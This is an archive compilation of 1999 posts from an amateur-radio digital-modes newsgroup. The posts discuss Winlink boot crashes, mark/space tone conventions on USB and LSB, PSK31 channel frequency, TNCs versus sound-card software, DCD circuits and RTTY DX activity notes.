The better radio is the one you like. Buy one of each, then give the one
you don't like to your wife/girlfriend.

3333. Winlink -- MBBIOS crashes Windows -- Anybody know how to fix?

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-08-02 00:00:00 UTC
From: "Frank C. Van Cleef" <vancleef@snet.net>
Message-ID: <7o5dsk$f32@news1.snet.net>
Source record: 17241

I've had Winlink running using Windows 98 since the beginning of the year, using both the AMTOR and PACTOR modules. The AMTOR TNC is connected to COM1, and MBBIOS is set to use COM1 also.
I recently had a problem involving the mouse, and when all the dust died down, WIN98 suddenly started dying before it completely booted. Removing the line that starts MBBIOS from AUTOEXEC.BAT allows the machine to boot normally, but of course then I can't bring up AMTOR which depends on MBBIOS. I've tried all sorts of things including a re-load of WIN98 to no avail. I also tried bringing MBBIOS up on a WIN95 machine, and had almost exactly the same problem -- WIN95 hangs about two-thirds of the way through the boot. I'm pretty sure the problem is tied up somehow with the mouse driver(s) because if I comment out the SYSTEM.INI [386enh] line loading the mouse vxd file, MBBIOS will load -- but then the mouse doesn't work. Anybody have any idea how to resolve this????? TIA,

Van, W1WCG

>
> Tate
> N3BXZ
>

Yes, you are correct.. Your radio on USB can talk with another radio
on digital modes that is on LSB, provided you invert your own
mark and space tones.

You will have to tune lower in frequency so that the other station's
signal is readable. In other words, your indicated channel frequency
on your display will be lower than the other station.

The purpose of inverting your mark and space's audio tones
is so that your Mark tone will be higher in RF frequency from your
Space-tone. This will agree with the other station using LSB,
as the most standard convention is to use a Space tone that
is 170 Hz lower in RF frequency than that of your Mark tone's RF
Frequency.

Clear as mud yet?? :-)

Yes, there are other modes such as PSK31 that may be the exception
to this rule, however for the more traditional and established
HF data modes of RTTY, Amtor, Pactor, the above description will
get you lined up with the other station on the same RF channel
assignment even though the frequency displays of the two radios
will not be the same..

Hello Debbie,

Pinouts are as follow:

Pin 1 receive audio (audio FROM RX)
Pin 2 microphone audio (AFSK from PK-232 TO TX)
Pin 3 Squeltch (Not used)
Pin 4 Ground
Pin 5 PTT

If you are connecting FSK then the levels are taken form J7, either FSk or
FSKR depending on the radio requirements

You cna purchase new radio cables for $7.50 and a new manual for $24.95

Absolutely right! I've tested both radios and sell VX-1R. Icom is the
best miniradio, keep in your mind about Li-Ion battery cost of VX-1R.
Program software is free from Vlaski Goran. Super RX 0.5MHz-2GHz -

I just got my Timewave PK-232 DSP with the PK-Term 99 program (got 1.3.1 frpm the web site) to recv. only and I've been having little luck decoding anything but CW and VRX RTTY. So far I can't say I'm recv. a lot with the large antenna systems I have here.

With programs like JVFax and ProsKan that I understand recieve wonderful Wefax and SSTV is there a need for a TNC like the PK-232 DSP and others? For the price JVFax and a sound card is a lot cheaper. How would programs like JVFax compare to my TNC and say the program WEFax 256 by Timewave? John D from Timewave said they are workig on a new version of Wefax but I don't know how that wil turn out.

So as a SWLer (Ham) was it worth it for me to invest in a TNC or should I've gone the JVFax and sound card path?

Just as an FYI, Wefax 256 only works on the DSP-2232. The only mode in the PK-232/DSP this time is the two color Wefax, which we're working on for Timewave.

Alot of Wefax signals are just line drawn two color maps, and at times, we've seen some 16 shades of gray pictures. This is due to the greater the number of colors, the longer it takes to download. A 2 color map takes about 8 minutes to download.

We should have the PK-232 demo version of Wefax '99 into Preview soon, then you can download it and take a look for yourself at what's out there in the Wefax world.

Personally, I think there is room for both TNC's and sound card software. One thing that we have discussed would be the ramifications of creating a sound card based version of Pacterm or Pkterm, and the result we came up with, is that hams are so versatile in their thinking, that it would be an enhancement to the hobby. The big issues that come up with some of the HF modes and the soundcard, is with the linked modes and the T/R turnover, as well as licensing fees for using some of the higher speed HF modes (pactor II and clover for example).

Because of the mixing, LSB always inverts the audio signal. That is,
higher freq audio signals become lower freq RF signals. USB does not
invert the signals.

Dear James,

So far as I am concerned, TNC's are less and less attractive. The reason being that the ubiquitous sound card has the capability of sampling or generating sound at a sufficiently high Nyquist rate as to provide the basic building block for any imaginable amateur radio signal processing task.

That coupled with a sufficiently powered PC (75 MHz Pentium ought to be considered as just adequate), gives you the computational ability for very sophisticated signal processing (DSP) - typically, Fast Fourier Transforms.

Right now the weak link is the software - especially for the Windows environment. That will only get better, and will never be as demanding for $$ as are the TNC's. In fact, much of the better software is truly FREE - i.e., not shareware, which is often dumbed down or crippled or has built-in nagging.

The bad news with TNC's is when the vendors announce that you will not be able to upgrade the firmware to accommodate new modes. That was the rationale for the TNC implemenation, as I understand it. It was going to be a simple and inexpensive upgrade as the new modes arrived on the scene. Somewhat optimistic approach, I guess.

Unless you need a mailbox or something and don't want to leave the computer running there is almost no need for a TNC today. Pactor-II and Clover are the exceptions. I'm not sure that the current crop of sound cards could handle those modes but they are proprietary anyway and would require licensing fees.

The sound card interface (and Hal P38) also have the advantage of being easier to (and forcing developers to) have tighter integration with the terminal interface. Things like status and tuning indicators are on-screen. IMHO Peter gets the award for the best tuning indicator (PSK31).

Erm, nooooooo, not exactly :-)) I mean that through an inter-repeater
backbone known as the "System" it is possible to communicate from one
end of the country to the other. And it's a looooooong country. I'm
interested to know how they did it.

Trish, I'm sorry but you are quite wrong on the international view of
the emitted MARK tone in any FSK transmission. The IARU (International
Amateur Radio Union) and all commercial services have one statement that
covers it all.

The lowest emitted RF frequency shall be consider the
MARK tone and referred to as the channel frequency.

It's so simple it taxes imagination why ham radio has to make it
difficult. You observe correctly that PSK31 is "reversed" as it is indeed
an international communications system. The only possible excuse might
be that the amateur simply has to arrange both transmitting and
receiving equipment to meet this definition which has caused a great deal
of discussion and effort in the past. Cliff K7RR

> The lowest emitted RF frequency shall be consider the
> MARK tone and referred to as the channel frequency.

Yes, and there's two ways to generate such a signal (three if you want to count direct FSK). You can send a mark low audio signal into an USB transmitter which will generate a mark low RF signal OR you can send a mark high audio signal into a LSB transmitter which will invert it to create a mark low RF signal. Other than the transmitter's suppressed carrier dial reading there is not one iota of difference between the two. The output RF signal is exactly the same. What we need to do is get away from the notion that data modes are USB or LSB. They are neither, they are FSK, PSK, etc. How you want to create these signals is up to the individual; the signal going out the antenna is exactly the same if you do it right.

The IARU definition fails with PSK31 because it does not have mark and space signals. PSK31 BPSK mode does not care what the signal polarity is and neither does Pactor.

Actually, I think the U.S. military has the most universal definition. The signal is always centered on the assigned frequency, regardless of mode. If I want to operate voice on 14300 Khz USB then I set the suppressed carrier dial to read 1.5 Khz below 14300 Khz (because the voice signal is assumed to be 3 Khz wide). If I want to operate 14300 Khz LSB then I set the dial to read 1.5 Khz above 14300 Khz.

No matter which frequency standard you want to use for data modes you must talk in terms of the actual RF frequency. To say meet me on RTTY on 14080 LSB means absolutely nothing unless I also know what audio tones you are using for mark and space. Now if you tell me to use 14080 mark, then by knowing my audio tones I can figure out where to set my dial to place my mark signal on 14080. If you do the same we'll be on frequency regardless of the signal generation scheme.

James,

Tuning and bandwidth are the biggest problems in getting a good copy. In RTTY and other linked mode, watching the tuning bar on the PK-232 is a good way to measure this. I remember when I first started doing this, it was hard to find a good signal to tune, but with age <g>, my ears now can tell if the signal is tuned correctly.

I'm sorry you feel you haven't gotten your dollars worth yet. I'd be glad to have myself or one of my staff work with you on any issues you're running into and answer any questions you may have.

3363. Re: HF Digital Question

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-08-04 00:00:00 UTC
From: "George T. Baker" <w5yr@swbell.net>
Message-ID: <37A8B49A.F49FAFE0@swbell.net>
Source record: 17171

I am having a great deal of trouble understanding how PSK31 enters into any discussion of Mark and Space frequencies and related international standards.

While it is true that PSK31 generates a two-tone signal while in IDLE, neither tone takes the role of a Mark or a Space code element. Further, actual signaling takes place by sequences of phase reversals, not sequences of tones or frequencies.

In PSK31, the "channel frequency" is a frequency midway between that of the two tones referenced above which are spaced 31.5 Hz apart. A PSK31 transmission concludes with a second or so of carrier transmission sans any modulation on that frequency. CW identification is made on that frequency. PSK31 equipment is set to that frequency for subsequent operation.

While it has been customary in the US to use "LSB" conventions for AFSK, etc., the developer of PSK31, Peter G3PLX, elected to use the international standard of USB as a preferred means for PSK31 sub-carrier transmission. This adherence to the international standard, however, has little more substance than a recommendation since the sideband actually used is irrelevant in normal BPSK operation and becomes of concern only with QPSK. Even there, LSB transmissions are usable provided that the program's option to reverse "polarity" is used.

In my PSK31 system, I use CW as the mode for receiving since that is the only mode in which my 500 Hz and 250 Hz filters can be used. I transmit using LSB mode since that is consistent and compatible with CW-mode reception. This operational environment works with both BPSK and QPSK stations all over the world regardless of their adherence to whatever standard.

Thanks Ruhl for your reply!

I'm just finding it a bit frustrating decoding with the PK-232 so I needed
some insight on the situation.

Robert what you just noted is what my fears are. I spent a lot for the TNC I have with the software and I don't think I got my dollars worth so far. Sound cards are a lot cheaper and the softwave even for the PK-232 needed some work. After getting some messages from other Hams and SWLers I feel I made a bad choice.

When it has netrom you can't change the callsign, it is fixed in the rom.

The makers of netrom enforced their license that way.

3372. digital activity survey

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-08-05 00:00:00 UTC
From: "Andrew J. O'Brien" <obrienaj@netsync.net>
Message-ID: <7oc3eu$l1v$1@mica.netsync.net>
Source record: 17180

I have been struck by what I perceive as a lack of digital activity on the bands despite the reported popularity of new modes (like PSK31). Except for contest times, rarely do I come across more than 2-3 RTTY signals at a time or more that 1-2 PSK signals (I did note four PSK31 QSO's on 20M a few weeks ago, all at the same time).

So, I did a random band scan of the entire 20m spectrum today and this is the "snapshot" that I found.

SSB 26 active QSO's
CW 8 active QSO's
Pactor 2 active QSO's
Packet 1 Active QSO
SSTV 1 active QSO
PSK31 1 active QSO
RTTY 0 active QSO's
Hell 0 active QSO's

Sorta confirms my feelings that RTTY and PSK are quite the minority activity.

Any comments folks ?

It most certainly would have been simpler for those Hams to communicate on 40m, but I seriously doubt that it would be more effective for a number of reasons. It's nice that 40 meters is there as an emergency backup though, I'm sure.

Maybe I'm wrong, but I can't help but feel that any time a group of hams get together and network VHF/UHF stuff in order to communicate, their efforts should be applauded, not denigrated. The high level of cooperation and the fraternal aspects of Ham Radio that cooperation implies should be pointed out and appreciated, not downplayed.

For my part, when I hear about hams anywhere in the world who have gotten off their cans and done something interesting or useful, I feel a bit more proud about being a Ham.

In other words; Take your negative attitude, fold it up so it's all sharp little corners and shove it, buddy.

Rob is right. What you need to fix this is a replacement EPROM chip, or to have the EPROM chip you have re-burned for the regular TNC2 image. TAPR has the EPROM images in their FTP area, if you know a guy with an EPROM burner.

You can probably get a properly set up EPROM from MFJ or Pac-Comm, but I'm not sure about that. It's worth asking.

No doubt. Never the less, the digital activity is probably
considerable more that 15 years ago. I notice that most of the PSK31
activity is on 20M in the evenings (5 or 6 PM EST). Even then 30M
often has no activity save a couple of CW stations and the band is
wide open because I am copying a DL beacon quite well. I expect
that's because SSB is not permitted. Seems to me that 30M is an ideal
band in that it's reserved for digital and CW.

3376. "Ritty" and Win98

Source record: 17184

I have posed this question before, but have not resolved it. I have K6STI's Ritty program, which ran on a Win95 computer but does not recognize the sound card under DOS on my new Win98 machine with a Creative PCI16 card. Other DOS-based RTTY programs show the same result: no receive audio or a program lock-up. Now a friend has run into a similar problem.

Windows programs, like PSK31, Logger, and MixW work fine.

One person said to try loading separate DOS drivers, but I do not know what they are, and a visit to the Creative site revealed that I must open the computer and give them a serial number, and dig through my receipts for a sales date, all just to ask them a question about where to find the drivers. Has anyone encountered this problem and solved it?

For those of us that deal in english - here is a link that gives you the programming schematic for the ribs - tower electronics does have the 4 conductor plugs available for 8 bucks + shipping - they are molded plugs with molded cord attached - strip the wire for whatever conductor you want and you are in business -

http://www.icongrp.com/~sllewd/pcware.htm

also on this web site is free software that programs most yaesu radios- including vx-5 it works great - even better than the yaesu crap software full of bugs - and it is free -

http://www.icongrp.com/~sllewd/download.htm

I just got a VX-5 and I am waiting for my plugs in the mail- then i can pc program the radio - instead of waiting for yaesu to get off thier duff-I also ordered a few extra 4 cond plugs for wiring to external speakers - etc.

Source record: 17189

I'm sorry but I lost the return address of the G3 that wanted me to site the reference to my comments regarding FSK and channel frequencies and MARK tones. I must therefore, bother the entire newsgroup with this. Unfortunately, I do not have a complete reference as I have been retired for eight years. These International Radio Union books were on all USA ships by law and most by necessity. The maritime service has always pointed the way to digital communications. Amateurs have wisely followed. Here is the best I can do after a day of researching old notes:
The CCIR recommendations are under APPENDIX 38 are:
Narrow Band Direct-Printing Telegraph Equipment in Maritime Mobile Service Using Error Detection and Correction Methods. That more than covers amateur radio and then some! Now people, I am not a lawyer and do not ever want to become one, however this is what I remember. Certainly, the rules may have changed especially with GMDSS considerations:
1) All signals are to conform to Telegraph Alphabet number 2 at a modulation rate of at least 50 baud.
2) Radio path rates shall be 100 baud for FSK and and 100 or 200 baud for phase shift keying.
3) Frequency shift of 170 Hz shall be used (NOW YOU SEE WHY ONLY THE MARK OR LOWEST FREQUENCY IS THE CHANNEL FREQUENCY SO THE SHIFT CONTROVERSY CAN BE AVOIDED!!)) Old TNC's still use 200 Hz shift.
4) For frequency shift keying, the higher of the emitted frequencies shall correspond to "space" and lower to "mark" in accordance with CCIR.

And there are many more clues worth reading. I simply do not have the reference material here at home, but I retain an interest in this if for no other reason than wanting amateurs to KNOW what frequency to dial in to deal with signals below the noise. "Swishing around" is simply not an option and never will be!! With ham transceivers available to one hertz resolution and most to ten hertz, why would we want anything less??

Bob, I ended ordering TAPR's DCD state machine kit this afternoon. I fiddled around with using my XR2211 and it worked somewhat, good enough to temporarly get the radio and tnc duo on the air.

I'm been seeing the state machine EEPROM's in TNC whenever I pop them open. Black magic is kind a neat, but where can I learn how these things work and how to write one for the PIC?

It normally involves an XR2211 in its standard application note setup
to demod 1200/2200, but the demodulated data isn't used. Just the DCD
output is used.

> Also
>could someone provide me with some hints on implementing software DCD
>when I have dirrect access to the modem (entirely different project)

The software DCD solution implements something equivalent to the state
machine DCD: it does not look for tones, but it examines the decoded
data. If it is valid packet radio data, it signals a DCD.

However, note that this approach is basically flawed: it assumes that
only something that you can decode as valid packet radio data is to
be seen as a signal. All other things on the channel are not recognized
and the transmitter just keys up on top of them.

This means you will cause serious havoc with such a DCD when:

- multiple speeds are used on the same channel (e.g. 1200/9600)
or:
- your antenna system or receiver performance is less-than-average, and
there are many signals that you cannot decode (but others can).

For some reason, I rarely work DX on digital modes. But, usually,
with a really-long CQ, I can raise someone stateside. I think most
people who operate Digital HF, have the ability to answer CQ's in
the various modes, so you can call in RTTY or Pactor or whatever.

I would be surprised if it can't be done. HOWEVER, you most likely
have to use an algorithm that includes adaptive analysis and doesn't
expect the speed, tone et al to remain constant over time.

3388. Mix32 Improvements

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-08-06 00:00:00 UTC
From: "Andrew J. O'Brien" <obrienaj@netsync.net>
Message-ID: <7oeha9$t7b$1@mica.netsync.net>
Source record: 17100

I noticed the following on the MixW32 webpage

"The entire program has been revised making it much more sensitive to conditions. Improved RTTY / PSK/QPSK/FSK31 receive and transmit "

I am wondering if anyone has had a chance to test the improvements out ?

I recently had a chance to try out RITTY 3.4, a DOS based SoundBlaster compatible piece of software. After having used Mix32 for a few weeks, I was astonished at how much better RTTY receive was in RITTY 3.4 than Mix32.

Andy.

Which is (a) ignoring the poster's line of enquiry, and (b) ignoring of the fact that a very large percentage of the VHF repeater system users are (like moi) not licensed for HF.

Clifford,

I don't think that it is this easy. Let's look at the audio from an AX.25 TNC just to keep things simple. Which is the mark and which is the space? If we use your interpretation of IARU, then there is no mark and space, because there is no RF signal! Take the same signal and put it into a USB transmitter and what do you get? The same signal into a LSB transceiver?

Mark and space are probably badly defined in any terms, but generally they correspond to an on and off state. Two tones are utilized to decrease the BER. One tone (the upper) is what is normally referred to as ON,

By the way, if I'm not mistaken, the "IARU and all commercial services" also probably say that all digital AFSK is in USB don't they?

Ed

Ed and the group. IARU or IRU does not care how a digital signal is generated, AFSK--regadless of tone frequency or shift, FSK or BPSK, only that that the lowest emitted frequency is the channel designation and is MARK if applicable. That's the best part of the definition! Of course, many systems do not care what is mark or space but there will always be a lowest emitted frequency. Even in PSK 31 the channel designation should be 15 and an eighth Hertz lower than the center. Not that it makes any practical amateur difference with the internal AFC, but it might if a 100 hertz filter is being used.

A number of us are now trying to get a reading directly from IARU. The MSO's (mailbox storage operation) and BBS (bulletin board system) have used the IRU system for years but the newer hams have not had the benefit of this experience. PSK31 and COHERENT are PSK digital systems that can print when signals are below average noise. The ability to set a dial properly is essential to take advantage of this! Cliff K7RR

It all depends on how good you are at copying CW and how good the other guy is at sending it. I've decoded CW at over 80 WPM with machine sent code and good solid signals. I've yet to see a machine to copy sloppy and/or noisy CW as well as a good operator. Sometimes there's no word spacing at all and an operator can decipher it based upon context.

Cliff, I think that I must be missing a big point here, re your last paragraph and especially the last sentence:

> A number of us are now trying to get a reading directly from IARU. The
> MSO's (mailbox storage operation) and BBS (bulletin board system) have
> used the IRU system for years but the newer hams have not had the benefit
> of this experience. PSK31 and COHERENT are PSK digital systems that can

> properly is essential to take advantage of this! Cliff K7RR

Peter - G3PLX - designed his implementation of PSK31 *SOLELY* for casual, keyboard-to-keyboard chat/ragchew contacts. Everything about his user interface exemplifies his goal, especially his determined lack of type-ahead buffer capability. Minimal file transfer capability is provided, but seems to be almost an afterthought.

So, taking that as the original "intent" for PSK31 - and that certainly seems to be almost universally the way it is used, based upon my experience with the mode since first getting on in early February of this year - I just cannot find any practical situation in which I need to (1) look for a specific, pre-defined frequency that has to be known a priori and implemented to a fraction of a Hz and/or (2) be prepared to set my transmitter to a fractional-Hz frequency a priori in order to accomplish a PSK31 QSO.

It is the nature of amateur operation - however undignified and unsophisticated compared with commercial practice - for stations to seize upon a convenient unused frequency - regardless of its exact expression in Hz - in order to call CQ and hopefully initiate a QSO.

Even when a schedule is prearranged, it is customary and more than adequate for the participants to agree ahead of time that one station will call the other on an approximate frequency ("plus or minus QRM") at an approximate time. The other station will generally be "cruising ("swishing")" the frequencies around the prearranged one waiting for the first party to start calling. Never in my near 54 years of amateur radio have I had equipment or used a mode that could or required me to set a dial to a specified frequency to within a fraction of one Hz and then not touch it ("swish"). Even tuning in WWV frequently requires some tuning around with typical equipment.

It is a fact that with today's equipment PSK31 really cannot be pre-tuned accurately enough to allow one party to merely sit, not touching his receiver, until he hears his QSO partner calling. Even with one-Hz tuning resolution, there is no overweaning, frequency-standard accuracy that will ensure that 14,071.047 KHz on one dial will be sufficiently within

an accuracy (a few Hz for PSK31) that will match that identical dial reading on the other guy's radio. As a practical matter, one must always "tune around ("swish")" in order to properly tune in the other party using one or more of the tuning aids provided by the PSK31 program. This situation prevails despite the very good AFC provided by present-day programs.

So, in light of these very real and practical matters, I just don't understand the insistence upon one's being able to set a dial at a predetermined frequency (regardless of the absolute accuracy of that dial setting) in order to conform to some standards group's definition of what a signaling element is. In every real case of PSK31 communication, one if not both parties to the QSO will at least once change their dial settings ("swish") in order to either make the initial contact or to keep drifting - slowly but nonetheless drifting - transmitters and receivers aligned to one another.

Cliff, I am not trying to be difficult or obtuse, but I guess that I just don't follow the reasoning here as to the *importance* of yet another a standard for PSK31, apart from the informal operational standards already in place and working very well indeed. If PSK31 were to be used in the manner of RTTY or PACTOR where some stations literally blindly broadcast, then the capability for prearranged frequency assignments and uses may have meaning, although it is stretching the state of the current amateur art to expect such frequency implementation and stability.

PSK31 is an informal ragchew mode and I know of no impetus to make it into anything else.

Hello,

I would like to setup a PACTOR/AMTOR to AX25 Gateway using my KAM PLUS TNC.
When I say Gateway I mean a REAL TIME Gateway, not a MAILBOX that accepts
only MAIL, but one that will allow a PACTOR user connecting form HF to
access our AX25 packet radio network.

Has anyone done it before and how??? Has anyone had done this by using JNOS??

Any info would be much appreciated!!

I have an old Symek TNC-2S which uses a TCM3105 modem, but also has a XR2211 which is used to derive the DCD. 3105s and 7910s (which I believe the PK-88 has) will trigger DCD on noise, so you need to do it another way.

Why not use a state-machine? I believe the circuit was described in one of N7CL's articles several years ago and the eprom code is available from TAPR's ftp site (TAPR also has a state-machine kit for $20).

Notes of Interest:

ANNOBON I., 3C0 - The forthcoming Annobon expedition by a group of EA operators will operate RTTY on 7035, 10115, 14085, 18095, 21085, 24925, and 28185 khz. QSL via EA5FVY, Angel Garcia Mendoza, P.O. Box 3045, 03080 Alicante, Spain.

CENTRAL KIRIBATI, T31 - A group consisting of Mats SM7PKK; Nils, SM6CAS; Erik, SM0AGD, Steve, G4EDG, Ulrika, SM6WYN(YL); and Lech, LA7MFA will operate here 23 September to 3 October. Callsigns will be T31T, T31K, and T31YL on all bands 6 to 160 meters on CW, SSB, and RTTY. One station will be for CW, one for SSB and one for WARC, low bands, and RTTY.

EL SALVADOR, YS - A group of EA and YS operators will be in El Salvador 16-23 August to rebuild the digital network which was devastated by hurricane "Mitch." They will operate 6-160 meters on CW/SSB/RTTY as HU4U. RTTY frequencies will be 7034, 10114, 14084, 18094, 21084, 24924, and 28184. QSL via EA4URE.

KUWAIT, 9K2 - Joda, 9K2/KM5FY says that he is active almost every day on PSK31 from 1500Z for 1-2 hours between 21070 and 21080 khz.

MAURITIUS, 3B8 - The PI4CC contest group will be active on RTTY between 23 September and 11 October, including the CQ/RJ World Wide RTTY DX Contest 25-26 September. Look for 3B8/PA0VHA, 3B8/PA3EPD, and 3B8/PB0AIT. QSL via PA0VHA.

SAMOA, 5W - Gerard, PA3AXU will operate 5W0GD on SSB/CW/RTTY, and maybe PSK31, from 28 September to 14 October. QSL via homecall.

SINGAPORE, 9V - Mirek, VK3DXI promises to continue activity as 9V1XE on CW with some SSB and RTTY for the next couple of years on all bands 40 - 10 meters. QSL via DL4DBR.

TOKELAU Is., ZK3 - Following their stay at Central Kiribati (as above) the multinational group will operate from Tokelau as ZK3DX, ZK3CW, and ZK3YL from 7 to 12 October.

The VK2SG RTTY DX NOTES are distributed every week via the Winlink network, and are also available on the Internet at URLs http://www.megalink.net/~n1rct/dxcc/rtdx.html and http://www.qth.net/archive/vk2sg-rtty/vk2sg-rtty.html and the digital-dx reflector. Cliff,
I too am somewhat confused as to why you would need a reading from the IARU.

The military convention to specify a frequency is to Specify the MARK frequency.
That is ALL you need to know to set your radio to a MBO/MSO/BBS or NET frequency.

And BTW, This HAS BEEN the Amateur Standard for years as well. And IT MEANS DIFFERENT Things TO DIFFERENT Operators.

Because the freq readout of the Transcievers are all different.
If your running AFSK your dial will show your Carrier Freq. Whether or not your in LSB or USB.
If your running FSK, On some rigs the Freq Readout will show Carrier, Some MARK, and still others SPACE. And you have to check your manuals to find out which one your rigs showing you.
An example of this is to watch the DXcluster RTTY spots, and see the different freqs on the same DX station. And If your chasing DX, it pays to know whos running what radio, (a hint that may get you out of the pileup and into the log sooner).

Now, There is NO Difference to the Recieving Station while your Running RTTY As to whether your using AFSK vs FSK, or HIGH tones or LOW tones, As long as your Shift is 170hz and your signals clean.
As for Transmitting, AFSK is very prone to over modulating. And on most rigs you cant use your tight CW filters while is LSB/USB. FSK can't be overmodulated, is cleaner, and allows you to use your 250/400hz filters.

I just installed EVE 1.70, and am having trouble sending data to my VX-5R.
How do i create a template of the hardware, or does that happen
automatcally? Anyhow, it'll get data, but it won't send. I've also noticed
that the "CLONE TX" stays on even after the meter says it is done uploading.
Is this suppose to be happening?

Of course there is always an operator reading it off the screen...
With todays graphic displays you could add a bit of space for each extra
small amount of spacing (above 3 dots) between the characters. The
operator reading it may recognize the extra space between words that
wasn't quite 5 dots. When you try to let the machine make this decision
(adding one full space whenever there is, say, more than 4 dots of spacing)
you get either words running together or all characters separated by
spaces when the timing isn't quite right.

>
The military convention is to specify the *center* of the signal as
the frequency. The commercial standard is to specify the mark
frequency.

3404. CW QSO's Using PSK32SBW

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-08-07 00:00:00 UTC
From: "Andrew J. O'Brien" <obrienaj@netsync.net>
Message-ID: <7oh95q$5qh$1@mica.netsync.net>
Source record: 17112
Cross-posted to: rec.radio.amateur.digital.misc,rec.radio.amateur.misc

Yeah, maybe it was because I had nothing to do last night, but I have found a nice way to work CW using PSK31SBW and another program called CWGET

My CW key has a missing spring but I wanted to get on CW last night. I looked around for WINDOWS based SoundBlaster receive AND transmit software but could not find any. CWGET, a product by UA9OSV , works well as a received only program, but it's companion CWTYPE does not xmit via the soundcard (at least as far as I could figure out) So, I thought what about PSK31SBW?

I was able to have several CW QSO's last night transmitting CW with PSK31SBW (go to MODE and set to SEND CW) and receiving with CWGET. Both worked simultaneously and along side each other in resized windows. Of course, I was in either LSB or USB mode on my rig because PSK31SBW will not transmit if your rig is in CW mode.

PSK31SBW does not have a way to change the transmitted speed of the CW but I was able to work some folks in the novice bands by simply typing the characters at a slower pace. For the faster CW guys on 20M, I just typed away and they kept up without any apparent problems.

I did this years ago using my PK232 and realized it was a bad practice if I was ever going to upgrade to 13WPM CW and the General. So, don't do this if you hope to upgrade your license and/ or maintain good CW skills. However it was fun last night. Of course receive CW software is at the mercy of "bad fists" and static crashes that produce letters but CWGET worked quite well in the auto-threshold mode. It helps if you have some CW skills, that way your ears may do a better job of detecting that the NT your screen just produced was actually a poorly sent K. If you have NO CW skills at all, CWGET will print out about 70% good copy of a strong signal and that is enough to have enjoyable CW QSO's.

Other that a few comments that I had a good fist , no one noticed anything odd about my transmitted CW via PSK31SBW.

You can find CWGET at http://ua9osv.virtualave.net/english.htm

and PSK31SBW at http://aintel.bi.ehu.es/psk31.html

That's wrong. There is not only no mark or space tone with BPSK, there
are no separate tones at all. What you're seeing on the tuning indicator is
the *sidebands* produced by the *transitions* from one phase to another.
This is not FSK where two distinct carrier frequencies are used. We don't
specify a channel by where a PM or AM sideband edge falls (and in the
case of PM we would need to ask which sideband, since there are several).
We specify it for the carrier frequency.

This is different from FSK where there is more than one carrier frequency.
FSK has sidebands too, of course, but we *ignore* them when we specify the
mark frequency, which is *not* the lowest frequency being emitted. Check with
a spectrum analyzer and you will find AM sidebands around both the mark carrier
frequency and the space carrier frequency at the keying rate. The LSB of the
mark carrier is the lowest frequency we're transmitting, but we *ignore* that
when specifying the operating frequency. We only specify the lower *carrier*
frequency. (This makes sense because RTTY idles at the *unmodulated*
mark carrier frequency.)

For PSK31, and similar modulations, there is only a single carrier frequency,
at the channel center, and that's what we want to specify. Since PSK31 is
synchronous, and designed for minimum occupied bandwidth, it idles fully
modulated at the first Bessel null, so the carrier is suppressed and transmitted
energy is symmetrically in both sidebands. It only goes to full unmodulated
carrier in tune or for the CW ID. That *is* at the channel center. Again this
is *different* than FSK, which must use one carrier frequency or the other.
FSK doesn't *have* a carrier at the channel center. PSK31 does.

>A number of us are now trying to get a reading directly from IARU. The
>MSO's (mailbox storage operation) and BBS (bulletin board system) have

>of this experience. PSK31 and COHERENT are PSK digital systems that can
>print when signals are below average noise. The ability to set a dial
>properly is essential to take advantage of this! Cliff K7RR

Much more essential would be to have equipment with sufficient frequency accuracy to allow such presetting. Typical amateur gear doesn't have it. The tuning accuracy demanded for PSK31, or the even more demanding Coherent/Africa, requires us to tweak it in by hand, unless both parties are using much better frequency standards, for both their radios *and* their sound card clocks, than is common amateur practice.

This isn't a problem, of course, since PSK31 is designed to be a *conversational* mode. It isn't intended for unattended robot operation. So we know that a real live human operator will be present to do any necessary tweaking.

The convention used by PSK31 is to use USB, and with a 1 kHz tone, the channel center is always exactly 1 kHz higher than the frequency indicated on the rig's display (plus or minus absolute frequency errors, of course). That's simple and easy to understand. If a user decides to run LSB instead, then he subtracts 1 kHz from the indicated frequency instead of adding it. Since only the transitions matter, this works perfectly. There is no concern that the signal is "inverted" since there is no mark or space to worry about.

With QPSK it does matter, however, because the signal now has quadrature modulation components and transitions must be resolved with the correct "handedness", ie whether the phase shift is clockwise or counterclockwise now makes a difference. That can be done either in the radio or in the software, but not in both at the same time. Regardless, the channel center where the carrier is located *stays the same*, so that's still what we want to specify.

Whatever happened to the fellow who invented Coherent CW (CCW)? As I understand it, his idea was to transmit and receive CW using computers. Perhaps some of those programs are around??

You can copy machine generated CW using a computer and a slicer IF you have GOOD filtering. However, the slicer will not eliminate noise that affects copy. If you are truly interested in using a computer to copy CW, look for files on older QRZ CD's. Just like SSTV programs written for DOS, these CW programs cannot be used while running Windows.

Can't you use Super Morse to copy CW, or is it limited to sending only? At one time they had a dandy keying circuit as part of the documentation.

LOL

Speaking of CW, is there a decent Win98 compatible morse tutor?
My old friend Supermorse dosen't run correctly in winhell.

I think all Cliff meant to say was that PSK31 and COHERENT can operate on signals below your (human) ability to identify a signal in the noise. Agreement on what is meant by a given freq makes connecting just that much less difficult. I've worked stations that were not audible on the radio speaker. However, there was always at least a faint, visible trace on the scope. I don't agree with Cliff's premise that PSK31 offers the type of magic required to reliably work signals "below average noise"; copy is often unusable even with good SNR. Nevertheless, it's his privilege to work those conditions if he so desires. He'll just have to pardon my QRM when I don't notice their QSO.

Michael.

Source record: 17120

I'll bet that when someone is able to copy PSK31 signals that they can not hear with their ears it is because they are listening to it through a 2.7 Khz or so wide SSB receiver and don't hear the benefit of reduced noise (thus increased signal to noise ratio) from a narrow passband. I doubt that after the DSP front end in the sound card the signal is still below the noise. With 500 Hz IF filters in the receiver I have yet to copy a psk31 signal that I couldn't tell was there by listening to the receiver.

As far as the need for accurate frequency setting I doubt that there is an amateur transceiver made that can meet the requirement for reliable PSK31 without an operator to tune it. Just because a rig can display frequency in 1 Hz or 10 Hz steps *does not* mean it is accurate to 1 Hz or 10 Hz. For example, an IC761 tunes in 10 Hz steps but the frequency stability is +/- 100 Hz over +14 to +140 deg F.

3413. Re: Decoding cw

And now the $64,000 question. What is the benefit of using machine generated and machine copied CW? If you are going to use machines then why not use one of the digital modes better suited to the HF environment like Clover, Pactor, Pactor II or PSK or RTTY? It seems to me that on/off keying (CW) is a poor method for sending digital data. It's one advantage is that it can be sent and received by humans.

Hello, it is an old, old story: TNCs like PK232 are for digital modes
